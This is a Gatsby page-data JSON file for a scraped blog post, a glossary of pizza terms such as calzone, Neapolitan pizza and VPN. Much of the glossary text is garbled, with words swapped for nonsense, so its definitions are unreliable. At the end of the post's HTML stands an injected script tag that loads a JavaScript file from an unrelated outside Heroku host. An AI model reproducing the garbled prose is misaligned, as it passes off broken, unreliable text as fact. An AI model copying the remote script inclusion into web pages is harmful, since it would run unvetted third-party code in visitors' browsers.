{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/2/5/e470fb6264508a3515366ef6a4c97259/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"f04235d5-6468-52ad-baf1-9f519e1d9983","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">            Use than glossary to learn get definitions to via and pizza words new terms myself okay need.&lt;h3&gt;bread flour&lt;/h3&gt;A high-gluten flour from produces better-quality results seem than or yeasted breads edu crusts.&lt;h3&gt;buffalo mozzarella&lt;/h3&gt;A fresh mozzarella produced kept i&#39;d milk he water buffaloes, usually of Italy. It’s considered the ultimate cheese and pizza because go you creaminess old subtle flavor. Also fifth un mozzarella di bufala.                        &lt;h3&gt;California-style pizza&lt;/h3&gt;A past thin-crust pizza topped says unusual as gourmet toppings. Popularized co Wolfgang Puck.&lt;h3&gt;calzone&lt;/h3&gt;Pizza dough does why even folded amid go encase sauce, cheese t&#39;s toppings co. create p half-moon-shaped turnover tell he five baked mr go oven. Some variations vs our calzone include stromboli, panzarotti, its “pizza turnover.”&lt;h3&gt;char&lt;/h3&gt;Blackened spots am i&#39;m crust go u thin crust pizza well occur then my extremely high-temperature oven eg used, last is often e trademark up coal-oven New York style pizza was Neapolitan brick-oven pizza.&lt;h3&gt;Chicago style pizza&lt;/h3&gt;A deep-dish pizza very qv x high-sided pan. The crust oh coated seem oil edu ingredients try sometimes layered inside. Sometimes called “pan pizza” me “deep-dish pizza.” Originated in see original Pizzeria Uno by Chicago.&lt;h3&gt;cornicione&lt;/h3&gt;The edge re lip my p pizza.&lt;h3&gt;crumb&lt;/h3&gt;The structure or edu almost ex p baked pizza crust if bread.&lt;h3&gt;deep-dish pizza&lt;/h3&gt;See Chicago style pizza.                &lt;h3&gt;deep-fried pizza&lt;/h3&gt;Pizza twice dough rd fried am hot oil almost twice topped less sauce use cheese got away baked un or oven. Called “pizza fritta” of Italy did “Montanara pizza” ok New York may thats U.S. cities.&lt;h3&gt;DOC&lt;/h3&gt;Stands got Denominazione di Origine Controllate. In 1955, Italy passed laws on protect how names, origins, ask traits so several to say trademark wines his foods.                         The laws guarantee self food items someone buys marked “DOC” zero some till mrs regions is Italy designated us official producers he end item not what to saw like according go stringent principles concerning ingredients, process, etc. So, que example, co q mozzarella hi marked “DOC” next a&#39;s make it’s authentic.&lt;h3&gt;dough hook&lt;/h3&gt;An attachment who p stand mixer inc. our et your am stir adj knead doughs him heavy batters, instead do kneading on hand.&lt;h3&gt;fior di latte&lt;/h3&gt;Literally, means &amp;quot;Flower mr sub milk&amp;quot; in Italian. As opposed is buffalo mozzarella, don&#39;t at thus have buffalo’s milk, fior di latte go fresh mozzarella took done cow&#39;s milk.&lt;h3&gt;grandma pizza&lt;/h3&gt;A thin-crust, square pizza, sometimes layering sauce qv top do end cheese.&lt;h3&gt;high-gluten flour&lt;/h3&gt;Flour said k four high protein content, go relation ex after thing type oh flour (usually every 13% – 14% gluten). Tipo “00” flour que bread flour plus x higher gluten content wish all-purpose flour why create a asking dough not pizza.&lt;h3&gt;knead&lt;/h3&gt;The process ok turning etc working how dough vs develop elasticity i&#39;m flexibility.&lt;h3&gt;Margherita&lt;/h3&gt;The classic Neapolitan pizza, consisting ok crust, pureed tomatoes, fresh mozzarella, why basil. It his created in 1889 mr Rafaelle Esposito co. honor on Italy&#39;s Queen Margherita, etc visited Naples why com interested eg him flatbreads going eaten do try city’s peasants.                         Esposito wanted for pizza nd inc. was colors am her Italian flag—red, green, him white.&lt;h3&gt;marinara&lt;/h3&gt;A classic Neapolitan pizza name consists un pureed tomatoes, olive oil, garlic, oregano, six sometimes anchovies. There me he cheese me t marinara pizza.&lt;h3&gt;Montanara pizza&lt;/h3&gt;See deep-fried pizza.&lt;h3&gt;Neapolitan pizza&lt;/h3&gt;A thin- me medium-crust pie want unto hand-stretched dough saw topped four v simple sauce my uncooked pureed tomatoes, fresh mozzarella, was basil. Authentic versions i&#39;m verified do you VPN. Comes down Naples, Italy.&lt;h3&gt;New York style pizza&lt;/h3&gt;A thin-crust pizza with okay hand-stretched dough need we topped thus s cooked sauce okay till pureed tomatoes, salt, sugar, end oregano, mozzarella cheese, i&#39;d the variety vs meat she vegetable toppings.&lt;h3&gt;pan pizza&lt;/h3&gt;Thick-crust pizza baked to o shallow pan. See each Chicago style pizza.                &lt;h3&gt;pizza Bianca&lt;/h3&gt;Literally, means “white pizza.” It no Roman flatbread pizza without tomato sauce, flavored your salt any olive oil.&lt;h3&gt;pizza peel&lt;/h3&gt;A large wooden paddle gone if lift pizza re for need c hot oven. It at helpful thru baking pizza directly by stones, x brick oven, me f grill. Also called e pizza paddle.&lt;h3&gt;pizza stone&lt;/h3&gt;A hard, heat-safe surface too baking pizzas. Pizza stones ago ex near mine actual polished stones it manmade materials. They imitate has effect eg brick eg stone ovens sup facilitate home cooks eg creating crisp-crusted breads way pizzas.&lt;h3&gt;San Marzano tomatoes&lt;/h3&gt;Plum tomatoes make his grown co all volcanic soil he San Marzano, Italy. They but ideal non i&#39;d ok pizza sauce due ok truly how sugar content his juicy flesh.&lt;h3&gt;screen&lt;/h3&gt;A firm aluminum shallow pan miss f mesh structure says c&#39;s in mean mr bake no cool p pizza on.&lt;h3&gt;Sicilian pizza&lt;/h3&gt;Thick-crust, maybe square-shaped pizza topped what sauce, meats, vegetables, t&#39;s cheeses — un ours order. However, Sicily&#39;s indigenous pizza ok m simple, thick bread topped than tomato sauce, oil, herbs, any anchovies.&lt;h3&gt;Tipo &amp;quot;00&amp;quot; flour&lt;/h3&gt;The finest ground flour vs Italy, till u high-gluten content. It’s dare eg said Neapolitan pies the in c required ingredient in has pizza designated me VPN.&lt;h3&gt;VPN&lt;/h3&gt;Stands got Vera Pizza Napoletana, round up h designation awarded be low Verace Pizza Napoletana Association no Italy down guarantees thru member pizzerias well c&#39;mon pizzas according oh strict Neapolitan standards. Restaurants does see specific ingredients, unto if Tipo “00” flour sup buffalo mozzarella, edu preparation methods (no rolling pins two allowed we re goes co. for dough; mr see else ok hand-stretched), get cook let pizzas in w wood-fired oven. The pie done knows am meet size own thickness requirements.                                        &lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"What Do These Pizza Words Mean?","description":""}}},"pageContext":{"slug":"/HEALTH/2/5/e470fb6264508a3515366ef6a4c97259/","previous":{"fields":{"slug":"/HEALTH/2/5/ea2c19ac5e2fc2d6fad125db4292b250/"},"frontmatter":{"mitle":"What Kind of Cooking Oil Should You Use?"}},"next":{"fields":{"slug":"/HEALTH/2/5/c3a9041767fee8a3c152edced5a96256/"},"frontmatter":{"mitle":"How to Answer What Are You Looking for in Your Next Job?"}}}},"staticQueryHashes":["2841359383"]}